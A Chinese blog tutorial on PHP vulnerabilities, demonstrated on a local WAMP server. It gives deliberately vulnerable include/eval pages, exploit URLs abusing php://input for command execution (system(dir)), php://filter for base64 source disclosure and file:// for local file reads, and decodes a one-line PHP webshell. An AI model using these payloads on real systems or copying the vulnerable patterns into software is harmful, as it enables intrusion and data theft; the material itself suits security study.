php漏洞

作者: suntwo | 来源:发表于2019-04-21 20:16 被阅读0次

    php反序列化

    php伪协议

    php://input可以读取以post方式提交的内容,通常和文件包含放在一起使用。

    现在我们创建一个文件aa.php里面的代码如下。

    <?php

    @$bb="";

    @$bb=file_get_contents($_GET["aa"]);

    echo $bb;

    ?>

    file_get_contents()这个函数表示将一个文件的内容读入一个字符串中

    我们使用hackbar来构造请求为http://localhost/aa.php?aa=php://input并在post data里面传入任意字符串例如我们传入hello  world 然后运行,这时我们便可以看到我们的页面上显示出了hello world。这是因为使用php://input为协议可以读取post内的内容(文件上传除外).

    上面这个例子好像没有什么危害,但是我们可以更改一下aa.php的内容如下

    <?php

    @eval(file_get_contents($_GET["aa"]));

    ?>

    使用http://localhost/aa.php?aa=php://input进行请求,并且post里面的数据为system(dir);,这时我们便可以查看当前的目录了,返回的结果为

    Çý¶¯Æ÷ E ÖеľíûÓбêÇ©¡£ ¾íµÄÐòÁкÅÊÇ 0CAC-06A4 E:\studyapp\WampServer\wamp\wamp64\www µÄĿ¼ 2019/03/31 20:13

    . 2019/03/31 20:13

    .. 2019/03/31 20:13

    432 2019/04/09 20:00 55 aa.php 2016/08/16 18:02 18,009 add_vhost.php 2019/03/31 20:11 73 bb.php 2010/12/31 09:40 202,575 favicon.ico 2016/08/16 18:03 30,117 index.php 2019/03/24 16:07

    sqli-labs-master 2016/05/17 15:58 528 testmysql.php 2015/09/21 17:30 742 test_sockets.php 2019/03/24 16:01

    wamplangues 2019/03/24 16:01

    wampthemes 2019/03/31 18:31

    yr43ubf 2019/03/31 18:31

    yreubf 7 ¸öÎļþ 252,099 ×Ö½Ú 8 ¸öĿ¼ 9,694,109,696 ¿ÉÓÃ×Ö½Ú

    可以看出返回了当前的目录,我们可以更改system(参数);里面的参数,可以执行创建文件和删除文件等等命令。

    php://filter的利用,这个协议通常用来读取文件的源代码,通过base64加密,显示出来,然后解密便可以读取文件的源代码,通常和文件包含结合使用,现在我们创建一个aa.php来验证一下我们的漏洞。

    aa.php代码如下

    <?php

    @include($_GET["aa"]);

    ?>

    我们使用http://localhost/aa.php?aa=php://filter/read=convert.base64-encode/resource=bb.php来进行请求,可以看到后面的参数是一个php://filter伪协议

    返回的内容如下

    PD9waHANCg0KLy8kX1BPU1RbImFhIl0oJF9HRVRbImNjIl0pOw0KQCRfUE9TVFsnbGFuZyddKCRfR0VUWydhJ10pOw0KDQo/Pg==

    这是一段base64编码的一串字符串,我们使用base64进行解密为

    <?php

    //$_POST["aa"]($_GET["cc"]);

    @$_POST['lang']($_GET['a']);

    ?>

    因此通过这种方式便可以读取我们的源代码。

    file:// [文件的绝对路径和文件名] 伪协议可以和文件包含结合,可以使用绝对路径来读取本地文件,获取目标主机的一些信息。

    创建aa.php代码如下

    <?php

    @include($_GET["aa"]);

    ?>

    使用http://localhost/aa.php?aa=file://E:/studyapp/WampServer/wamp/wamp64/www/aa.txt来请求主机,返回aa.txt里面的内容为:

    you are successful

    使用这个方式需要知道目标主机的路径。

    最后再分享一个不死马:

    相关文章

      网友评论

          本文标题:php漏洞

          本文链接:https://www.haomeiwen.com/subject/pbzjgqtx.html